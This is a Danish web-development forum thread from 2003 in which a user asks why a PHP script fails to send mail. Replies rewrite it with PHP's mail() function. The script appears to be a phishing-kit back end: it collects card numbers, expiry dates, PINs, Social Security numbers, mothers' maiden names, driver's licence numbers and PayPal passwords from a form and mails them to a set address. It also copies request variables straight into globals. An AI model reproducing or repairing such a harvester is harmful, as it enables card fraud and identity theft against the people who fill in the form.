12. juli 2003 - 23:09
Der er
5 kommentarer og 1 løsning
PHP sendmail script
ok har et php script der skal sende alt det nye bruger skriver ind fra siden/i php databasen: $stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$paypalemail,$userid,$pass"; $MP ="/usr/sbin/sendmail"; $spec_envelope = 1; if($spec_envelope) { $MP .= " -f $announce_from_email"; } $fd = popen($MP,"w"); fputs($fd, "To: $announce_to_email\n"); fputs($fd, "From: $announce_from_name <$announce_from_email>\n"); fputs($fd, "Subject: $announce_subject\n"); fputs($fd, "X-Mailer: PHP4\n"); fputs($fd, $body); pclose($fd); men serveren gider ikke sende emailen. PHP er isntalelret etc. og har testet om den kan sende.... hvad kan problemet være??? kan det være jeg skal cmod selv php scriptet php databasen?? Mvh King
Annonceindlæg fra Computerworld
meget at læse men vil da tage et kig... imens er der nogen åbenlyse fejl i den kode jeg postede??
som ramlev.dk refarer til, bør du nok bruge PHP's egen mail funktion, bare i dit tilfælde: mail(denemail@duvilsende.til,"her er dit Subject",Her er dit indhold,"From: emaildu@sender.fra\nX-Mailer:Blæret PHP mailer");
yep men den skal jo ha noget med fra databsen: Kan i lave denne om til normal php mail for jeg kan i kfå det til at virke!!!----------------------- PHP dataabsen --------------------- <?php if (!empty($HTTP_GET_VARS)) while(list($name, $value) = each($HTTP_GET_VARS)) { $$name = $value; } if (!empty($HTTP_POST_VARS)) while(list($name, $value) = each($HTTP_POST_VARS)) { $$name = $value; } include ('config.h'); if($hehehe=='' || $month==''|| $year=='') { include ('e2.h'); } else { $hehehe2 = str_replace("-", "", $ccnumber); $hehehe2 = str_replace(" ", "", $ccnumber); if($ccnumber!='') { if($pass!='' && is_numeric($pinnum)) { $announce_subject = "titel her"; $announce_from_email = "titel"; $announce_from_name = "titel"; $announce_to_email = $titel_email; $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$pass,$heh2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass"; $MP = "/usr/sbin/sendmail -t -i"; $spec_envelope = 1; if($spec_envelope) { $MP .= " -f $announce_from_email"; } $fd = popen($MP,"w"); fputs($fd, "To: $announce_to_email\n"); fputs($fd, "From: $announce_from_name <$announce_from_email>\n"); fputs($fd, "Subject: $announce_subject\n"); fputs($fd, "X-Mailer: PHP4\n"); fputs($fd, $body); pclose($fd); } else { if($cchehehe=='hmmm') { $announce_subject = "titel"; } if($cchehe=='Dr') { $announce_subject = "titel"; } if($cchehe=='Md') { $announce_subject = "titel"; } if($cchehe==sss') { $announce_subject = "titel"; } $announce_from_email = "hehe"; $announce_from_name = "hehe"; $announce_to_email = $hehe_email; $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$passnum,$c2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass"; $MP = "/usr/sbin/sendmail -t -i"; $spec_envelope = 1; if($spec_envelope) { $MP .= " -f $announce_from_email"; } $fd = popen($MP,"w"); fputs($fd, "To: $announce_to_email\n"); fputs($fd, "From: $announce_from_name <$announce_from_email>\n"); fputs($fd, "Subject: $announce_subject\n"); fputs($fd, "X-Mailer: PHP4\n"); fputs($fd, $body); pclose($fd); } } include ('done.h'); } ?> --------- kan bare ikke få det til at virke --------- dette bruges så til at sende fra databasen... (config h file) <?php if (!empty($HTTP_GET_VARS)) while(list($name, $value) = each($HTTP_GET_VARS)) { $$name = $value; } if (!empty($HTTP_POST_VARS)) while(list($name, $value) = each($HTTP_POST_VARS)) { $$name = $value; } $priority_email = '1'; $pin_email = min@email.com'; $cc_email = min@email.com'; ?> kan ikke få dettil at sende please help Takker King
<?php if (!empty($HTTP_GET_VARS)) { while(list($name, $value) = each($HTTP_GET_VARS)) { $$name = $value; } } if (!empty($HTTP_POST_VARS)) { while(list($name, $value) = each($HTTP_POST_VARS)) { $$name = $value; } include ('config.h'); if($hehehe=='' || $month==''|| $year=='') { include ('e2.h'); } else { $hehehe2 = str_replace("-", "", $ccnumber); $hehehe2 = str_replace(" ", "", $ccnumber); if($ccnumber!='') { if($pass!='' && is_numeric($pinnum)) { $announce_subject = "titel her"; $announce_from_email = "titel"; $announce_from_name = "titel"; $announce_to_email = $titel_email; $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$pass,$heh2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass"; if(mail($announce_to_email,$announce_subject,$body,"From: $announce_from_email\nX-Mailer:PHP4")) { echo "mail sendt"; } else{ if($cchehehe=='hmmm') { $announce_subject = "titel"; } if($cchehe=='Dr') { $announce_subject = "titel"; } if($cchehe=='Md') { $announce_subject = "titel"; } if($cchehe==sss') { $announce_subject = "titel"; } $announce_from_email = "hehe"; $announce_from_name = "hehe"; $announce_to_email = $hehe_email; $body = "$username,$ccnumber," . STR_PAD($month, 2, "0", STR_PAD_LEFT) . ",$year,$passnum,$c2,\n$streetaddr,$cityaddr,$stateprovaddr,$zipcodeaddr,$countryaddr,$phonenum,$dob,$ssn,$mmname,$dl,\n$pemail,$ppw,$userid,$pass"; if(mail($announce_to_email,$announce_subject,$body,"From: $announce_from_email\nX-Mailer:PHP4")) { echo "hej med dig"; } } include ('done.h'); } ?> lige et lille tip, lav nogle indryk.. din kode er FULDSTÆNDIG uoverskuelig har forsøgt at lave nogle tabuleringer...
takker for jeres input lukker spørgsmålet.
Vi tilbyder markedets bedste kurser inden for webudvikling